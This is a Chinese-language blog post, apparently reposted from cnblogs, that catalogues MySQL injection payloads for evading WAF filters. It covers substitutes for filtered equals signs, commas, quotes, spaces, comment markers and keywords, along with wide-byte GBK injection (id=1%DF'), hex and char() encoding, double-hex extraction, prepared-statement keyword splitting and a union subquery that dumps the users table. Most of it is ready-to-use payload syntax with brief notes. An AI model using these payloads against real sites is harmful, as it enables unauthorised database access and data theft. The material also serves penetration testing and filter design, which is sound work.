Mysql注入绕过WAF总结

过滤等于号

select * from user where id = 2;
select * from user where id like 2;
select * from user where id rlike 2;
select * from user where id regexp 2;
select * from user where id > 1 and id < 3;
select * from user where !id <> 2;
select * from user where not id <> 2;

Tips:<>是不等于

过滤information_schema

详见此博文

过滤逗号

  • 构造多表连接
select * from users where name="admin" union select 1, 2, 3, 4;
select * from users where name="admin" union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
  • 寻找同含义的替代语法
select substr("abcde", 2, 3);
select substr("abcde" from 2 for 3);
select * from users limit 1, 2;
select * from users limit 2 offset 1;

过滤引号

  • 宽字节注入

前提条件:

  1. 使用多字节编码
  2. 多字节编码的低位部分包含了单字节字符集的编码(比如UTF-8就不符合这条)

宽字节注入的核心危害就是:吃掉ASCII字符,变成多字节编码的字符

常见情形:

通过插入一个非ASCII的字节,使得这个字节在遇到%5c(反斜杠)之后与它拼接,变成一个宽字节(如中文),因此吃掉反斜杠,便绕过了转义

index.php?id=1%DF'

当无法传入url编码时,可以转换思路,客户端是utf-8编码中,我们传过去的汉字是三个字节,而反斜杠是一个字节,那么可以用一个汉字加一个反斜杠组成四个字节,再到数据库经过gbk编码而变成两个汉字,再次吃掉
index.php?id=1海'

  • 十六进制注入
select * from users where name="admin";
select * from users where name=0x61646d696e;
  • char函数替换
select char(32,47,116,109,112,47,102,95,117,115,101,114,46,116,120,116);
  • 转义字符注入

目标系统没有对转义符号做过滤

select * from 36d_user where username='$uname' and password='$passwd';
select * from 36d_user where username='admin' and password=' your_sql_here# ';

只能回显数字

回显的数据可能会与数字进行运算,由于mysql的弱类型会把字符串转化为数字去运算,导致无法取得回显的字符串

select hex(hex(database()));

二次hex编码后全为数字,刚好绕过

过滤union select

select * from users union all select 1, 2, 3, 4;

过滤注释符

  • 尝试所有注释符
#
;%00
--(空格)
--+   这个其实和上面的是一样的 只是url里+相当于空格
/**/
  • 想办法闭合后面的语句

利用and、or、||、&&
比如可以利用or语句忽略掉后面的条件
还要根据情况将后面的引号、括号等闭合

SELECT * FROM users WHERE id=('1') union all select 1,2,3 or ('') LIMIT 0,1

select * from users where id =''/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22';

过滤空格

  • 别的符号替换空格
%0c  换页符
%09 制表符
%0d 回车
%0a 换行
%0b
%a0
+
/**/
  • 其他分隔语句的手段

空格本质就是为了分开不同的语句

 select * from users where name =(1)union(select(1),2,3,4);
 select`id`from`users`where`id`=1;

过滤关键字

  • 大小写绕过

  • 双写绕过

  • 预编译绕过

    set @sql = concat('sele','ct',' * from table;');
    prepare stm from @sql;
    execute stm;--+
    
  • 修改表结构绕过

    • 有时select/union等查询语句被过滤,可以考虑把要查询的表名改为现在原本查询的表名,再把原本查询的表改为其他名字,这样就可以让网站自己把我们要查的表输出出来
  • 其他关键字替换

    • handler语法代替select
    • 相等意义的函数替换
    • 用&&、||替换and、or
    • 数字型注入可以用运算符替换or、and
    1=(ascii(substr(select(flag)from(flag))))
    0^(ascii(substr(select(flag)from(flag))))
    
内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/b1ackc4t/p/15599879.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!